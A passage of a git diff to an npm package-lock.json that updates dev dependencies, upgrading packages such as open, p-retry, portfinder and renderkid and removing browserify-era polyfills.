"^1.1.5" } @@ -11860,20 +11590,14 @@ "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==", "dev": true }, - "object-inspect": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.7.0.tgz", - "integrity": "sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw==", - "dev": true - }, "object-is": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.2.tgz", - "integrity": "sha512-5lHCz+0uufF6wZ7CRFWJN3hp8Jqblpgve06U5CMQ3f//6iDjPr2PEo9MWCjEssDsa+UZEL4PkFpr+BMop6aKzQ==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", "dev": true, "requires": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.5" + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" } }, "object-keys": { @@ -11887,6 +11611,7 @@ "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", "dev": true, + "optional": true, "requires": { "isobject": "^3.0.0" } @@ -12099,21 +11824,12 @@ } } }, - "object.getownpropertydescriptors": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.0.tgz", - "integrity": "sha512-Z53Oah9A3TdLoblT7VKJaTDdXdT+lQO+cNpKVnya5JDe9uLvzu1YyY1yFDFrcxrlRgWrEFH0jJtD/IbuwjcEVg==", - "dev": true, - "requires": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1" - } - }, "object.pick": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", "dev": true, + "optional": true, "requires": { "isobject": "^3.0.1" } @@ -12255,13 +11971,15 @@ "mimic-fn": "^2.1.0" } }, - "opn": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/opn/-/opn-5.5.0.tgz", - "integrity": "sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA==", + "open": { + "version": "8.2.1", + "resolved": "https://registry.npmjs.org/open/-/open-8.2.1.tgz", + "integrity": "sha512-rXILpcQlkF/QuFez2BJDf3GsqpjGKbkUUToAIGo9A0Q6ZkoSGogZJulrUdwRkrAsoQvoZsrjCYt8+zblOk7JQQ==", "dev": true, "requires": { - "is-wsl": "^1.1.0" + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" } }, "optionator": { @@ -12278,21 +11996,6 @@ "word-wrap": "~1.2.3" } }, - "original": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/original/-/original-1.0.2.tgz", - "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==", - "dev": true, - "requires": { - "url-parse": "^1.4.3" - } - }, - "os-browserify": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz", - "integrity": "sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=", - "dev": true - }, "os-homedir": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", @@ -12315,6 +12018,15 @@ "os-tmpdir": "^1.0.0" } }, + "p-event": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/p-event/-/p-event-4.2.0.tgz", + "integrity": "sha512-KXatOjCRXXkSePPb1Nbi0p0m+gQAwdlbhi4wQKJPI1HsMQS9g+Sqp2o+QHziPr7eYJyOZet836KoHEVM1mwOrQ==", + "dev": true, + "requires": { + "p-timeout": "^3.1.0" + } + }, "p-finally": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", @@ -12340,18 +12052,31 @@ } }, "p-map": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz", - "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw==", - "dev": true - }, - "p-retry": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-3.0.1.tgz", - "integrity": "sha512-XE6G4+YTTkT2a0UWb2kjZe8xNwf8bIbnqpc/IS/idOBVhyves0mK5OJgeocjx7q5pvX/6m23xuzVPYT1uGM73w==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", "dev": true, "requires": { - "retry": "^0.12.0" + "aggregate-error": "^3.0.0" + } + }, + "p-retry": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.1.tgz", + "integrity": "sha512-e2xXGNhZOZ0lfgR9kL34iGlU8N/KO0xZnQxVEwdeOvpqNDQfdnxIYizvWtK8RglUa3bGqI8g0R/BdfzLMxRkiA==", + "dev": true, + "requires": { + "@types/retry": "^0.12.0", + "retry": "^0.13.1" + } + }, + "p-timeout": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz", + "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==", + "dev": true, + "requires": { + "p-finally": "^1.0.0" } }, "p-try": { @@ -12360,17 +12085,6 @@ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", "dev": true }, - "parallel-transform": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/parallel-transform/-/parallel-transform-1.2.0.tgz", - "integrity": "sha512-P2vSmIu38uIlvdcU7fDkyrxj33gTUy/ABO5ZUbGowxNCopBq/OoD42bP4UmMrJoPyk4Uqf0mu3mtWBhHCZD8yg==", - "dev": true, - "requires": { - "cyclist": "^1.0.1", - "inherits": "^2.0.3", - "readable-stream": "^2.1.5" - } - }, "param-case": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/param-case/-/param-case-2.1.1.tgz", @@ -12388,19 +12102,6 @@ "callsites": "^3.0.0" } }, - "parse-asn1": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz", - "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==", - "dev": true, - "requires": { - "asn1.js": "^5.2.0", - "browserify-aes": "^1.0.0", - "evp_bytestokey": "^1.0.0", - "pbkdf2": "^3.0.3", - "safe-buffer": "^5.1.1" - } - }, "parse-entities": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-2.0.0.tgz", @@ -12426,35 +12127,62 @@ "lines-and-columns": "^1.1.6" } }, - "parse-passwd": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz", - "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=", - "dev": true - }, "parseurl": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", "dev": true }, + "pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "dev": true, + "requires": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + }, + "dependencies": { + "lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "requires": { + "tslib": "^2.0.3" + } + }, + "no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "requires": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + } + } + }, "pascalcase": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", - "dev": true - }, - "path-browserify": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz", - "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==", - "dev": true + "dev": true, + "optional": true }, "path-dirname": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", - "dev": true + "dev": true, + "optional": true }, "path-exists": { "version": "2.1.0", @@ -12471,12 +12199,6 @@ "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", "dev": true }, - "path-is-inside": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz", - "integrity": "sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=", - "dev": true - }, "path-key": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", @@ -12514,19 +12236,6 @@ "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==", "optional": true }, - "pbkdf2": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz", - "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==", - "dev": true, - "requires": { - "create-hash": "^1.1.2", - "create-hmac": "^1.1.4", - "ripemd160": "^2.0.1", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" - } - }, "performance-now": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", @@ -12560,55 +12269,35 @@ "pinkie": "^2.0.0" } }, - "pkg-dir": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", - "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", - "dev": true, - "requires": { - "find-up": "^3.0.0" - }, - "dependencies": { - "find-up": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", - "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - } - } - }, "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==" }, "portfinder": { - "version": "1.0.26", - "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.26.tgz", - "integrity": "sha512-Xi7mKxJHHMI3rIUrnm/jjUgwhbYMkp/XKEcZX3aG4BrumLpq3nmoQMX+ClYnDZnZ/New7IatC1no5RX0zo1vXQ==", + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", "dev": true, "requires": { "async": "^2.6.2", "debug": "^3.1.1", - "mkdirp": "^0.5.1" + "mkdirp": "^0.5.5" }, "dependencies": { "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", "dev": true, "requires": { "ms": "^2.1.1" } }, "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", "dev": true } } @@ -12617,7 +12306,8 @@ "version": "0.1.1", "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=", - "dev": true + "dev": true, + "optional": true }, "postcss": { "version": "7.0.36", @@ -12777,13 +12467,13 @@ "dev": true }, "pretty-error": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-2.1.1.tgz", - "integrity": "sha1-X0+HyPkeWuPzuoerTPXgOxoX8aM=", + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-3.0.4.tgz", + "integrity": "sha512-ytLFLfv1So4AO1UkoBF6GXQgJRaKbiSiGFICaOPNwQ3CMvBvXpLRubeQWyPGnsbV/t9ml9qto6IeCsho0aEvwQ==", "dev": true, "requires": { - "renderkid": "^2.0.1", - "utila": "~0.4" + "lodash": "^4.17.20", + "renderkid": "^2.0.6" } }, "pretty-format": { @@ -12867,12 +12557,6 @@ "asap": "~2.0.3" } }, - "promise-inflight": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", - "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", - "dev": true - }, "prop-types": { "version": "15.7.2", "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz", @@ -12893,13 +12577,21 @@ } }, "proxy-addr": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz", - "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==", + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", "dev": true, "requires": { - "forwarded": "~0.1.2", + "forwarded": "0.2.0", "ipaddr.js": "1.9.1" + }, + "dependencies": { + "ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "dev": true + } } }, "prr": { @@ -12919,61 +12611,6 @@ "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" }, - "public-encrypt": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.3.tgz", - "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==", - "dev": true, - "requires": { - "bn.js": "^4.1.0", - "browserify-rsa": "^4.0.0", - "create-hash": "^1.1.0", - "parse-asn1": "^5.0.0", - "randombytes": "^2.0.1", - "safe-buffer": "^5.1.2" - }, - "dependencies": { - "bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", - "dev": true - } - } - }, - "pump": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", - "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "pumpify": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", - "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", - "dev": true, - "requires": { - "duplexify": "^3.6.0", - "inherits": "^2.0.3", - "pump": "^2.0.0" - }, - "dependencies": { - "pump": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", - "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", - "dev": true, - "requires": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - } - } - }, "punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", @@ -12996,18 +12633,6 @@ "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", "dev": true }, - "querystring-es3": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz", - "integrity": "sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=", - "dev": true - }, - "querystringify": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.1.1.tgz", - "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA==", - "dev": true - }, "queue-microtask": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", @@ -13028,16 +12653,6 @@ "safe-buffer": "^5.1.0" } }, - "randomfill": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz", - "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==", - "dev": true, - "requires": { - "randombytes": "^2.0.5", - "safe-buffer": "^5.1.0" - } - }, "range-parser": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", @@ -13465,6 +13080,7 @@ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", "dev": true, + "optional": true, "requires": { "graceful-fs": "^4.1.11", "micromatch": "^3.1.10", @@ -13491,6 +13107,15 @@ } } }, + "rechoir": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.7.1.tgz", + "integrity": "sha512-/njmZ8s1wVeR6pjTZ+0nCnv8SpZNRMT2D1RLOJQESlYFDBvwpTA4KWJpZ+sBJ4+vhjILRcK7JIFdGCdxEAAitg==", + "dev": true, + "requires": { + "resolve": "^1.9.0" + } + }, "redent": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz", @@ -13544,19 +13169,20 @@ "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", "dev": true, + "optional": true, "requires": { "extend-shallow": "^3.0.2", "safe-regex": "^1.1.0" } }, "regexp.prototype.flags": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.0.tgz", - "integrity": "sha512-2+Q0C5g951OlYlJz6yu5/M33IcsESLlLfsyIaLJaG4FA2r4yP8MvVMJUUP/fVBkSpbbbZlS5gynbEWLipiiXiQ==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz", + "integrity": "sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==", "dev": true, "requires": { - "define-properties": "^1.1.3", - "es-abstract": "^1.17.0-next.1" + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" } }, "regexpp": { @@ -13641,26 +13267,79 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz", "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8=", - "dev": true + "dev": true, + "optional": true }, "renderkid": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.3.tgz", - "integrity": "sha512-z8CLQp7EZBPCwCnncgf9C4XAi3WR0dv+uWu/PjIyhhAb5d6IJ/QZqlHFprHeKT+59//V6BNUsLbvN8+2LarxGA==", + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.7.tgz", + "integrity": "sha512-oCcFyxaMrKsKcTY59qnCAtmDVSLfPbrv6A3tVbPdFMMrv5jaK10V6m40cKsoPNhAqN6rmHW9sswW4o3ruSrwUQ==", "dev": true, "requires": { - "css-select": "^1.1.0", - "dom-converter": "^0.2", - "htmlparser2": "^3.3.0", - "strip-ansi": "^3.0.0", - "utila": "^0.4.0" + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^3.0.1" + }, + "dependencies": { + "dom-serializer": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", + "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", + "dev": true, + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + } + }, + "domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true + }, + "domhandler": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", + "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", + "dev": true, + "requires": { + "domelementtype": "^2.2.0" + } + }, + "domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "requires": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + } + }, + "htmlparser2": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", + "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", + "dev": true, + "requires": { + "domelementtype": "^2.0.1", + "domhandler": "^4.0.0", + "domutils": "^2.5.2", + "entities": "^2.0.0" + } + } } }, "repeat-element": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.3.tgz", "integrity": "sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==", - "dev": true + "dev": true, + "optional": true }, "repeat-string": { "version": "1.6.1", @@ -13737,59 +13416,6 @@ "path-parse": "^1.0.6" } }, - "resolve-cwd": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-2.0.0.tgz", - "integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=", - "dev": true, - "requires": { - "resolve-from": "^3.0.0" - }, - "dependencies": { - "resolve-from": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz", - "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g=", - "dev": true - } - } - }, - "resolve-dir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz", - "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=", - "dev": true, - "requires": { - "expand-tilde": "^2.0.0", - "global-modules": "^1.0.0" - }, - "dependencies": { - "global-modules": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz", - "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==", - "dev": true, - "requires": { - "global-prefix": "^1.0.1", - "is-windows": "^1.0.1", - "resolve-dir": "^1.0.0" - } - }, - "global-prefix": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz", - "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=", - "dev": true, - "requires": { - "expand-tilde": "^2.0.2", - "homedir-polyfill": "^1.0.1", - "ini": "^1.3.4", - "is-windows": "^1.0.1", - "which": "^1.2.14" - } - } - } - }, "resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", @@ -13804,7 +13430,8 @@ "version": "0.2.1", "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=", - "dev": true + "dev": true, + "optional": true }, "restore-cursor": { "version": "3.1.0", @@ -13820,12 +13447,13 @@ "version": "0.1.15", "resolved": 